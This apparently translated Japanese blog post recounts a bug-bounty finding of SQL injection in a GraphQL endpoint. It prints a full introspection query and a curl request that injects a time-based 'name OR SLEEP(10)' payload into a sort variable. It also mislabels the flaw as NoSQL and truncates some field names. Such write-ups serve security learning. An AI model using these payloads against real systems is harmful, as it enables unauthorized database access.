Shikata Ga Nai

Private? There is no such things.

SQL Injection in GraphQLを訳してみた

Hello there, ('ω')ノ

 

GraphQL での SQL インジェクションを。

 

脆弱性:

 NoSQL

 

記事:

 https://0xgad.medium.com/sql-injection-in-graphql-2859c96547a8

 

Recon の後、サブドメインで 403 を取得し。

 

 

サブドメインでFUZZを起動して。

エンドポイント GraphQL で 500 内部サーバ エラーが発生して。

 

 

GraphQL は当初 Facebook によって内部クエリ言語として開発

および使用されていたため、GraphQL の機能は主に内部領域と

開発領域を中心に展開され。

 

GraphQL は、データが定義された型システムを使用してクエリを実行し。

GraphQL の重要だが無視されがちな機能は、Interospection Sytem を利用して、

サポートされているクエリについて GraphQL スキーマに問い合わせる機能で。

 

GraphQL サービスからどの型が返されるかわからない状況があることを考慮すると、

クライアントでそのデータを処理する方法を決定する何らかの方法が必要で。

GraphQL を使用すると、クエリ内の任意の時点で __typename (メタ フィールド) を

リクエストして、その時点のオブジェクト タイプの名前を取得でき。

 

 

GraphQL は、定義されたシステムと必要な詳細をすべて明らかにする

相互スペクション クエリで。

 

{"query": "query IntrospectionQuery {__schema {queryType { name },mutationType { name },subscriptionType { name },types {...FullType},directives {name,description,args {...InputValue},onOperation,onFragment,onField}}}\nfragment FullType on __Type {kind,name,description,fields(includeDeprecated: true) {name,description,args {...InputValue},type {...TypeRef},isDeprecated,deprecationReason},inputFields {...InputValue},interfaces {...TypeRef},enumValues(includeDeprecated: true) {name,description,isDeprecated,deprecationReason},possibleTypes {...TypeRef}}\nfragment InputValue on __InputValue {name,description,type { ...TypeRef },defaultValue}\nfragment TypeRef on __Type {kind,name,ofType {kind,name,ofType {kind,name,ofType {kind,name}}}}"}

 

参照

https://gist.github.com/craigbeck/b90915d49fda19d5b2b17ead14dcd6da

 

 

時間を指定してcurlコマンドを実行し、応答時間を確認して。

 sleep(10)

 

curl -i -s -k  -X $'POST' \
    -H $'Host: example.com' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://example.com/dashboard' -H $'content-type: application/json' -H $'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c' -H $'Origin: http://example.com' -H $'Content-Length: 663' -H $'DNT: 1' -H $'Connection: close' \
    --data-binary $'{"operationName":"pages","variables":{"offset":0,"limit":10,"sortc":"name OR SLEEP(10)","sortrev":false},"query":"query pages($offset: Int!, $limit: Int!, $sortc: String, $sortrev: Boolean) {\n  pages(offset: $offset, limit: $limit, sortc: $sortColumn, sortReverse: $sortReverse) {\n    id\n    n\n    __typen\n  }\n  me {\n    firstN\n    lastN\n    usern\n    __typen\n  }\n  components {\n    title\n    __typen\n  }\n  templates {\n    title\n    __typen\n  }\n  fonts {\n    n\n    __typen\n  }\n  partners {\n    id\n    n\n    banners {\n      n\n      __typen\n    }\n    __typen\n  }\n}\n"}' \

 

Best regards, (^^ゞ